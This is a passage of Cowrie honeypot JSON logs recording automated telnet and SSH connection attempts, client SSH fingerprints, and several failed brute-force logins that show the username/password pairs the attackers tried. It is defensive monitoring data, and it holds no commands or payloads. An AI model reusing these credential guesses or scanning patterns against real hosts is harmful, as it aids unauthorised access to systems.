{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":50228,"dst_ip":"10.17.0.5","dst_port":23,"session":"7cfef45c9f38","protocol":"telnet","message":"New connection: 139.162.207.207:50228 (10.17.0.5:23) [session: 7cfef45c9f38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:10:04.955998Z"}
{"eventid":"cowrie.session.closed","duration":30.64267921447754,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:10:06.432865Z","src_ip":"108.179.216.206","session":"0fd0d816f057","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":50242,"dst_ip":"10.17.0.5","dst_port":23,"session":"634121e1d499","protocol":"telnet","message":"New connection: 139.162.207.207:50242 (10.17.0.5:23) [session: 634121e1d499]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:10:08.864858Z"}
{"eventid":"cowrie.session.closed","duration":46.636059045791626,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:10:09.820967Z","src_ip":"139.162.207.207","session":"ba20ec4a8160","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":56510,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e839631b34c","protocol":"telnet","message":"New connection: 108.179.216.206:56510 (10.17.0.5:23) [session: 6e839631b34c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:10:11.022369Z"}
{"eventid":"cowrie.session.closed","duration":31.59820294380188,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:10:11.801918Z","src_ip":"108.179.216.206","session":"73a46322b5c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":50244,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1c5c5255c71","protocol":"telnet","message":"New connection: 139.162.207.207:50244 (10.17.0.5:23) [session: f1c5c5255c71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:10:12.735405Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":50256,"dst_ip":"10.17.0.5","dst_port":23,"session":"28a1c618d2a8","protocol":"telnet","message":"New connection: 139.162.207.207:50256 (10.17.0.5:23) [session: 28a1c618d2a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:10:12.852981Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":44254,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d762ef697a2","protocol":"telnet","message":"New connection: 209.126.87.217:44254 (159.203.135.109:23) [session: 7d762ef697a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:10:12.892764Z"}
{"eventid":"cowrie.session.closed","duration":42.52811121940613,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:10:14.947524Z","src_ip":"139.162.207.207","session":"7e0a79a14c0f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.72753095626831,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:10:16.971994Z","src_ip":"209.126.87.217","session":"4acd0a4690e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":44258,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9c77a7a03fd","protocol":"telnet","message":"New connection: 209.126.87.217:44258 (159.203.135.109:23) [session: b9c77a7a03fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:10:17.027338Z"}
{"eventid":"cowrie.session.closed","duration":30.19747757911682,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:10:17.066910Z","src_ip":"108.179.216.206","session":"4de1c044c76f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":33342,"dst_ip":"10.17.0.5","dst_port":23,"session":"bdf30719710f","protocol":"telnet","message":"New connection: 108.179.216.206:33342 (10.17.0.5:23) [session: bdf30719710f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:10:17.243604Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":44274,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4b9d70bec90","protocol":"telnet","message":"New connection: 209.126.87.217:44274 (159.203.135.109:23) [session: d4b9d70bec90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:10:18.144359Z"}
{"eventid":"cowrie.session.closed","duration":42.277536392211914,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:10:18.913908Z","src_ip":"139.162.207.207","session":"3323156ac5d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.64735746383667,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:10:21.868832Z","src_ip":"209.126.87.217","session":"bba9f7fbe812","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.971519470214844,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:10:24.286965Z","src_ip":"209.126.87.217","session":"1c7f7870855f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.141.86","src_port":59870,"dst_ip":"159.203.135.109","dst_port":22,"session":"40a18076be18","protocol":"ssh","message":"New connection: 171.244.141.86:59870 (159.203.135.109:22) [session: 40a18076be18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:10:25.309996Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:10:25.318570Z","src_ip":"171.244.141.86","session":"40a18076be18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:10:25.581462Z","src_ip":"171.244.141.86","session":"40a18076be18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.51118016242981,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:10:26.098953Z","src_ip":"108.179.216.206","session":"0ac354c934c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.13809061050415,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:10:26.116242Z","src_ip":"209.126.87.217","session":"b952047ab232","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"server","password":"password","message":"login attempt [server/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:10:26.640983Z","src_ip":"171.244.141.86","session":"40a18076be18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.95113754272461,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:10:27.385329Z","src_ip":"139.162.207.207","session":"faa0426547bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:10:27.903568Z","src_ip":"171.244.141.86","session":"40a18076be18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.25213551521301,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:10:29.614920Z","src_ip":"139.162.207.207","session":"43ab1672a40b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.768127918243408,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:10:29.744071Z","src_ip":"209.126.87.217","session":"c05267553766","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":38734,"dst_ip":"10.17.0.5","dst_port":23,"session":"d503189a1bb9","protocol":"telnet","message":"New connection: 139.162.207.207:38734 (10.17.0.5:23) [session: d503189a1bb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:10:29.936677Z"}
{"eventid":"cowrie.session.closed","duration":31.42340850830078,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:10:30.583971Z","src_ip":"108.179.216.206","session":"2862817629ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.87507390975952,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:10:30.643491Z","src_ip":"139.162.207.207","session":"2688847f0a8a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":46052,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a026e4fcbf3","protocol":"telnet","message":"New connection: 108.179.216.206:46052 (10.17.0.5:23) [session: 1a026e4fcbf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:10:31.403941Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":60620,"dst_ip":"159.203.135.109","dst_port":23,"session":"356e87a675d0","protocol":"telnet","message":"New connection: 209.126.87.217:60620 (159.203.135.109:23) [session: 356e87a675d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:10:31.613229Z"}
{"eventid":"cowrie.session.closed","duration":42.87409520149231,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:10:32.264734Z","src_ip":"139.162.207.207","session":"e5c46a6ad467","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.55788064002991,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:10:33.483099Z","src_ip":"209.126.87.217","session":"705927b19f4e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.962770700454712,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:10:34.963735Z","src_ip":"108.179.216.206","session":"9e369a4be33e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":60632,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea32b0b03904","protocol":"telnet","message":"New connection: 209.126.87.217:60632 (159.203.135.109:23) [session: ea32b0b03904]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:10:35.557026Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":50090,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c1851893adb","protocol":"telnet","message":"New connection: 108.179.216.206:50090 (10.17.0.5:23) [session: 4c1851893adb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:10:35.857630Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.146.202.174","src_port":56306,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f5cf53a14c6","protocol":"ssh","message":"New connection: 103.146.202.174:56306 (159.203.135.109:22) [session: 0f5cf53a14c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:10:35.906492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:10:35.914064Z","src_ip":"103.146.202.174","session":"0f5cf53a14c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:10:36.165802Z","src_ip":"103.146.202.174","session":"0f5cf53a14c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"414414","message":"login attempt [root/414414] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:10:37.217009Z","src_ip":"103.146.202.174","session":"0f5cf53a14c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.43.86.48","src_port":47464,"dst_ip":"10.17.0.5","dst_port":22,"session":"d29c3be9ba13","protocol":"ssh","message":"New connection: 45.43.86.48:47464 (10.17.0.5:22) [session: d29c3be9ba13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:10:38.009030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:10:38.017524Z","src_ip":"45.43.86.48","session":"d29c3be9ba13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:10:38.112168Z","src_ip":"45.43.86.48","session":"d29c3be9ba13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:10:38.480768Z","src_ip":"103.146.202.174","session":"0f5cf53a14c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"aA123456789","message":"login attempt [ubuntu/aA123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:10:38.513251Z","src_ip":"45.43.86.48","session":"d29c3be9ba13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":47954,"dst_ip":"10.17.0.5","dst_port":23,"session":"a46670f94b09","protocol":"telnet","message":"New connection: 139.162.207.207:47954 (10.17.0.5:23) [session: a46670f94b09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:10:38.677306Z"}
{"eventid":"cowrie.session.closed","duration":37.377055406570435,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:10:38.682458Z","src_ip":"139.162.207.207","session":"be7b9560b5e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:10:39.669960Z","src_ip":"45.43.86.48","session":"d29c3be9ba13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.73069381713867,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:10:39.686515Z","src_ip":"139.162.207.207","session":"7cfef45c9f38","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":46548,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7440d910e43","protocol":"telnet","message":"New connection: 209.126.87.217:46548 (159.203.135.109:23) [session: f7440d910e43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:10:40.068738Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34868,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c619a072be4","protocol":"ssh","message":"New connection: 159.203.92.129:34868 (159.203.135.109:22) [session: 5c619a072be4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:10:41.220108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:10:41.224926Z","src_ip":"159.203.92.129","session":"5c619a072be4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:10:41.229514Z","src_ip":"159.203.92.129","session":"5c619a072be4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"Passw0rd","message":"login attempt [ansible/Passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:10:41.243307Z","src_ip":"159.203.92.129","session":"5c619a072be4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.003238201141357,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:10:42.025468Z","src_ip":"108.179.216.206","session":"6e839631b34c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:10:42.249338Z","src_ip":"159.203.92.129","session":"5c619a072be4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":46552,"dst_ip":"159.203.135.109","dst_port":23,"session":"605d10907d53","protocol":"telnet","message":"New connection: 209.126.87.217:46552 (159.203.135.109:23) [session: 605d10907d53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:10:44.293043Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":46558,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d4a7f4ae8c5","protocol":"telnet","message":"New connection: 209.126.87.217:46558 (159.203.135.109:23) [session: 6d4a7f4ae8c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:10:44.951488Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":51334,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd13f7dd5cad","protocol":"telnet","message":"New connection: 185.26.126.47:51334 (159.203.135.109:23) [session: cd13f7dd5cad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:10:45.224229Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":40712,"dst_ip":"10.17.0.5","dst_port":23,"session":"7eec78d3f5ec","protocol":"telnet","message":"New connection: 139.162.207.207:40712 (10.17.0.5:23) [session: 7eec78d3f5ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:10:45.532031Z"}
